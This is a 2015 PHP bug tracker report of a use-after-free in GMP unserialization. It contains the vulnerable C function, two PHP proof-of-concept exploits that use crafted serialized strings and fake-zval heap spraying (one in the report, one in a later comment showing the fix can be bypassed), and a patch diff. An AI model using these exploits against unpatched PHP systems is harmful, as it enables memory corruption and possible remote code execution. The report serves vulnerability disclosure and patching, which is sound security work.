|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-08-17 17:07 UTC] taoguangchen at icloud dot com
Description:
------------
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
INIT_ZVAL(zv);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_STRING
|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
) {
zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
goto exit;
}
zval_dtor(&zv);
INIT_ZVAL(zv);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
retval = SUCCESS;
exit:
zval_dtor(&zv);
PHP_VAR_UNSERIALIZE_DESTROY(unserialize_data);
return retval;
}
```
we can use r: set to references to a ZVAL's values and free it from memory, then create another ZVAL to references to that already freed memory, finally the first ZVAL will be freed from memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
<?php
$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 09:00:01 2025 UTC |
patch for this bug (work on 5.6 series): diff --git a/php-5.6.12/gmp.c b/php-5.6.12-fixed/gmp.c index 575dab8..2b6f6e3 100644 --- a/php-5.6.12/gmp.c +++ b/php-5.6.12-fixed/gmp.c @@ -630,7 +630,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c { mpz_ptr gmpnum; const unsigned char *p, *max; - zval zv, *zv_ptr = &zv; + zval *zv_ptr; int retval = FAILURE; php_unserialize_data_t unserialize_data = (php_unserialize_data_t) data; @@ -640,7 +640,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c p = buf; max = buf + buf_len; - INIT_ZVAL(zv); + ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_STRING || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE @@ -648,15 +648,17 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC); goto exit; } - zval_dtor(&zv); + var_push_dtor(&unserialize_data, &zv_ptr); + zval_ptr_dtor(&zv_ptr); - INIT_ZVAL(zv); + ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } + var_push_dtor(&unserialize_data, &zv_ptr); if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( @@ -667,7 +669,7 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c retval = SUCCESS; exit: - zval_dtor(&zv); + zval_ptr_dtor(&zv_ptr); PHP_VAR_UNSERIALIZE_DESTROY(unserialize_data); return retval; }hi, this patch can be bypass. ``` ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } var_push_dtor(&unserialize_data, &zv_ptr); <=== you need to add this line code for fix it. ``` PoC: ``` $inner = 's:1:"1";a:0:{}'; $exploit = 'a:2:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ```